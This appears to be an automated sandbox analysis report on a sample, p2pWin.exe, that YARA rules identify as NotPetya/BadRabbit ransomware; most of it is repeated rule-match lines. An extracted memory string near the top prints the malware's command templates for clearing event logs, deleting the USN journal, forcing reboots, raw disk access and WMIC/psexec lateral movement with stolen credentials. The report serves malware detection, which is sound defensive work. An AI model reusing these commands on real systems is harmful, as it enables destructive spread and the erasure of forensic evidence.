Windows Analysis Report
p2pWin.exe

Contains functionality to create processes via WMI

Source: p2pWin.exe, 00000000.00000001.1627535297.0000000000036000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: -h "%ws:%ws"%dkernel32.dllIsWow64Process\\.\pipe\%ws"%ws" %wsiphlpapi.dllGetExtendedTcpTable%u.%u.%u.%uTERMSRV/127.0.0.1localhostSeTcbPrivilegeSeShutdownPrivilegeSeDebugPrivilegeC:\Windows\/c %wsComSpec\cmd.exewevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn deletejournal /D %c:schtasks %ws/Create /SC once /TN "" /TR "%ws" /ST %02d:%02dat %02d:%02d %wsshutdown.exe /r /f/RU "SYSTEM" dllhost.datntdll.dllNtRaiseHardError\\.\C:\\.\PhysicalDrive0255.255.255.255%u.%u.%u.%u%s \\%s -accepteula -s -d C:\Windows\System32\rundll32.exe "C:\Windows\%s",#1 wbem\wmic.exe%s /node:"%ws" /user:"%ws" /password:"%ws" process call create "C:\Windows\System32\rundll32.exe \"C:\Windows\%s\" #1 "\\%s\admin$\\%ws\admin$\%ws

memstr_e9299c95-9

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 1_2_02E55A7E	1_2_02E55A7E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 1_2_02E5C6D0	1_2_02E5C6D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 1_2_02E522A2	1_2_02E522A2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 1_2_02E5AEAD	1_2_02E5AEAD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 1_2_02E5A5CC	1_2_02E5A5CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 1_2_02E5BF73	1_2_02E5BF73
Source: C:\Users\user\AppData\Local\Temp\F2CD.tmp	Code function: 4_2_00007FF72E905C78	4_2_00007FF72E905C78

Source: C:\Windows\SysWOW64\rundll32.exe

1_2_02E59987

Source: p2pWin.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: p2pWin.exe, type: SAMPLE	Matched rule: BadRabbit_Gen date = 2017-10-25, hash3 = 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da, hash2 = 579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648, hash1 = 8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93, author = Florian Roth, description = Detects BadRabbit Ransomware, reference = https://pastebin.com/Y7pJv3tK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: p2pWin.exe, type: SAMPLE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: p2pWin.exe, type: SAMPLE	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
Source: p2pWin.exe, type: SAMPLE	Matched rule: doublepulsarxor_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: p2pWin.exe, type: SAMPLE	Matched rule: doublepulsardllinjection_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar dll injection shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: p2pWin.exe, type: SAMPLE	Matched rule: Win32_Ransomware_NotPetya tc_detection_name = NotPetya, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.2.p2pWin.exe.4d890.3.raw.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.1.p2pWin.exe.4c050.2.raw.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.1.p2pWin.exe.4d890.1.raw.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.rundll32.exe.2ce5020.2.unpack, type: UNPACKEDPE	Matched rule: BadRabbit_Gen date = 2017-10-25, hash3 = 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da, hash2 = 579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648, hash1 = 8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93, author = Florian Roth, description = Detects BadRabbit Ransomware, reference = https://pastebin.com/Y7pJv3tK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.rundll32.exe.2ce5020.2.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.rundll32.exe.2ce5020.2.unpack, type: UNPACKEDPE	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
Source: 1.2.rundll32.exe.2ce5020.2.unpack, type: UNPACKEDPE	Matched rule: doublepulsarxor_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 1.2.rundll32.exe.2ce5020.2.unpack, type: UNPACKEDPE	Matched rule: doublepulsardllinjection_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar dll injection shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 0.1.p2pWin.exe.37830.0.unpack, type: UNPACKEDPE	Matched rule: BadRabbit_Gen date = 2017-10-25, hash3 = 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da, hash2 = 579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648, hash1 = 8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93, author = Florian Roth, description = Detects BadRabbit Ransomware, reference = https://pastebin.com/Y7pJv3tK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.1.p2pWin.exe.37830.0.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.1.p2pWin.exe.37830.0.unpack, type: UNPACKEDPE	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
Source: 0.1.p2pWin.exe.37830.0.unpack, type: UNPACKEDPE	Matched rule: doublepulsarxor_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 0.1.p2pWin.exe.37830.0.unpack, type: UNPACKEDPE	Matched rule: doublepulsardllinjection_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar dll injection shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 4.0.F2CD.tmp.7ff72e900000.0.unpack, type: UNPACKEDPE	Matched rule: BadRabbit_Mimikatz_Comp date = 2017-10-25, hash1 = 2f8c54f9fa8e47596a3beff0031f85360e56840c77f71c6a573ace6f46412035, author = Florian Roth, description = Auto-generated rule - file 2f8c54f9fa8e47596a3beff0031f85360e56840c77f71c6a573ace6f46412035, reference = https://pastebin.com/Y7pJv3tK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.0.p2pWin.exe.4c050.1.raw.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.rundll32.exe.2cf9840.1.raw.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.rundll32.exe.2e67860.4.raw.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.0.p2pWin.exe.4d890.2.raw.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.rundll32.exe.2cfb080.0.raw.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.1.p2pWin.exe.37830.0.raw.unpack, type: UNPACKEDPE	Matched rule: BadRabbit_Gen date = 2017-10-25, hash3 = 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da, hash2 = 579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648, hash1 = 8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93, author = Florian Roth, description = Detects BadRabbit Ransomware, reference = https://pastebin.com/Y7pJv3tK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.1.p2pWin.exe.37830.0.raw.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.1.p2pWin.exe.37830.0.raw.unpack, type: UNPACKEDPE	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
Source: 0.1.p2pWin.exe.37830.0.raw.unpack, type: UNPACKEDPE	Matched rule: doublepulsarxor_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 0.1.p2pWin.exe.37830.0.raw.unpack, type: UNPACKEDPE	Matched rule: doublepulsardllinjection_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar dll injection shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 0.1.p2pWin.exe.37830.0.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_NotPetya tc_detection_name = NotPetya, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 1.2.rundll32.exe.2e50000.3.unpack, type: UNPACKEDPE	Matched rule: BadRabbit_Gen date = 2017-10-25, hash3 = 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da, hash2 = 579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648, hash1 = 8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93, author = Florian Roth, description = Detects BadRabbit Ransomware, reference = https://pastebin.com/Y7pJv3tK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.rundll32.exe.2e50000.3.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.rundll32.exe.2e50000.3.unpack, type: UNPACKEDPE	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
Source: 1.2.rundll32.exe.2e50000.3.unpack, type: UNPACKEDPE	Matched rule: doublepulsarxor_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 1.2.rundll32.exe.2e50000.3.unpack, type: UNPACKEDPE	Matched rule: doublepulsardllinjection_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar dll injection shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 1.2.rundll32.exe.2e50000.3.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_NotPetya tc_detection_name = NotPetya, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.2.p2pWin.exe.4c050.1.raw.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.F2CD.tmp.7ff72e900000.0.unpack, type: UNPACKEDPE	Matched rule: BadRabbit_Mimikatz_Comp date = 2017-10-25, hash1 = 2f8c54f9fa8e47596a3beff0031f85360e56840c77f71c6a573ace6f46412035, author = Florian Roth, description = Auto-generated rule - file 2f8c54f9fa8e47596a3beff0031f85360e56840c77f71c6a573ace6f46412035, reference = https://pastebin.com/Y7pJv3tK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.p2pWin.exe.37830.2.unpack, type: UNPACKEDPE	Matched rule: BadRabbit_Gen date = 2017-10-25, hash3 = 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da, hash2 = 579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648, hash1 = 8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93, author = Florian Roth, description = Detects BadRabbit Ransomware, reference = https://pastebin.com/Y7pJv3tK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.p2pWin.exe.37830.2.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.p2pWin.exe.37830.2.unpack, type: UNPACKEDPE	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
Source: 0.2.p2pWin.exe.37830.2.unpack, type: UNPACKEDPE	Matched rule: doublepulsarxor_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 0.2.p2pWin.exe.37830.2.unpack, type: UNPACKEDPE	Matched rule: doublepulsardllinjection_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar dll injection shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 0.0.p2pWin.exe.37830.3.unpack, type: UNPACKEDPE	Matched rule: BadRabbit_Gen date = 2017-10-25, hash3 = 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da, hash2 = 579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648, hash1 = 8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93, author = Florian Roth, description = Detects BadRabbit Ransomware, reference = https://pastebin.com/Y7pJv3tK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.0.p2pWin.exe.37830.3.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.0.p2pWin.exe.37830.3.unpack, type: UNPACKEDPE	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
Source: 0.0.p2pWin.exe.37830.3.unpack, type: UNPACKEDPE	Matched rule: doublepulsarxor_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 0.0.p2pWin.exe.37830.3.unpack, type: UNPACKEDPE	Matched rule: doublepulsardllinjection_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar dll injection shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 1.2.rundll32.exe.2ce5020.2.raw.unpack, type: UNPACKEDPE	Matched rule: BadRabbit_Gen date = 2017-10-25, hash3 = 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da, hash2 = 579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648, hash1 = 8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93, author = Florian Roth, description = Detects BadRabbit Ransomware, reference = https://pastebin.com/Y7pJv3tK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.rundll32.exe.2ce5020.2.raw.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.rundll32.exe.2ce5020.2.raw.unpack, type: UNPACKEDPE	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
Source: 1.2.rundll32.exe.2ce5020.2.raw.unpack, type: UNPACKEDPE	Matched rule: doublepulsarxor_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 1.2.rundll32.exe.2ce5020.2.raw.unpack, type: UNPACKEDPE	Matched rule: doublepulsardllinjection_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar dll injection shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
